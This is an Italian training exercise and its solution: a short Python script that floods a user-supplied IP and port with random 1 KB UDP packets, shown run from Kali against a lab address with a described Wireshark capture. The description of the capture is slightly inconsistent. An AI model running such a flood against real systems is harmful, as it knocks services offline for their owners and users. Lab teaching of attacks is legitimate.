

Traccia:

Gli attacchi di tipo Dos, ovvero denial of services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un **UDP flood**, ovvero l'invio massivo di richieste **UDP** verso una macchina target che è in ascolto su una porta UDP casuale.

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target.
- Il programma deve richiedere l'inserimento della porta target.
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto
- **Suggerimento:** per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

```
1 import socket, random
2
3 #creazione pacchetto da 1Kb con libreria RANDOM
4 p = random.randbytes(1024)
5
6 #Richiesta inserimento IP e PORTA target
7 IP_target = str(input("Inserisci l'IP target :"))
8 PORT_target = int(input("Inserisci la porta target: "))
9 address = (IP_target,PORT_target)
10
11 #creazione socket
12 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
13
14 #Richiesta input n.pacchetti da inviare
15 n_p = int(input("Inserire in numero di pacchetti da inviare al server da attaccare: "))
16
17 #Ciclo invio continuo di pacchetti fino al n.pacchetti da inviare
18 for _ in range (n_p):
19     s.sendto(p,address)
20 |
```

ESEMPIO

The image shows a terminal window on the left and a Wireshark network traffic capture on the right.

Terminal Window:

```
tiger@kali: ~/Desktop
File Actions Edit View Help
tiger@kali)~/Desktop
$ python attacco-dos.py
Inserisci l'IP target :192.168.50.100
Inserisci la porta target: 44444
Inserire in numero di pacchetti da inviare al server da attaccare: 10
tiger@kali)~/Desktop
$
```

Wireshark Network Traffic:

The Wireshark interface shows a capture of network traffic. The packet list on the left shows several ICMP Echo (ping) requests from 192.168.50.100 to 192.168.50.100, all of which are marked as "Destination unreachable (Port unreachable)".

No.	Time	Source	Destination	Protocol	Length	Info
9	382.177751	192.168.50.100	192.168.50.100	ICMP	52	Destination unreachable (Port unreachable)
11	382.177756	192.168.50.100	192.168.50.100	ICMP	52	Destination unreachable (Port unreachable)
13	382.177766	192.168.50.100	192.168.50.100	ICMP	52	Destination unreachable (Port unreachable)
15	382.177765	192.168.50.100	192.168.50.100	ICMP	52	Destination unreachable (Port unreachable)
17	382.177771	192.168.50.100	192.168.50.100	ICMP	52	Destination unreachable (Port unreachable)
19	382.177770	192.168.50.100	192.168.50.100	ICMP	52	Destination unreachable (Port unreachable)
21	382.177779	192.168.50.100	192.168.50.100	ICMP	52	Destination unreachable (Port unreachable)

The packet details pane on the right shows the selected packet (No. 2) as a UDP packet from 192.168.50.100 to 192.168.50.100, port 44444. The packet length is 1024 bytes. The packet bytes pane shows the raw data of the packet, which is a random byte sequence.

NB

WireShark da un errore Destination Unreachable poiche' si e' usata una porta casuale, probabilmente chiusa ma invia correttamente i pacchetti UDP.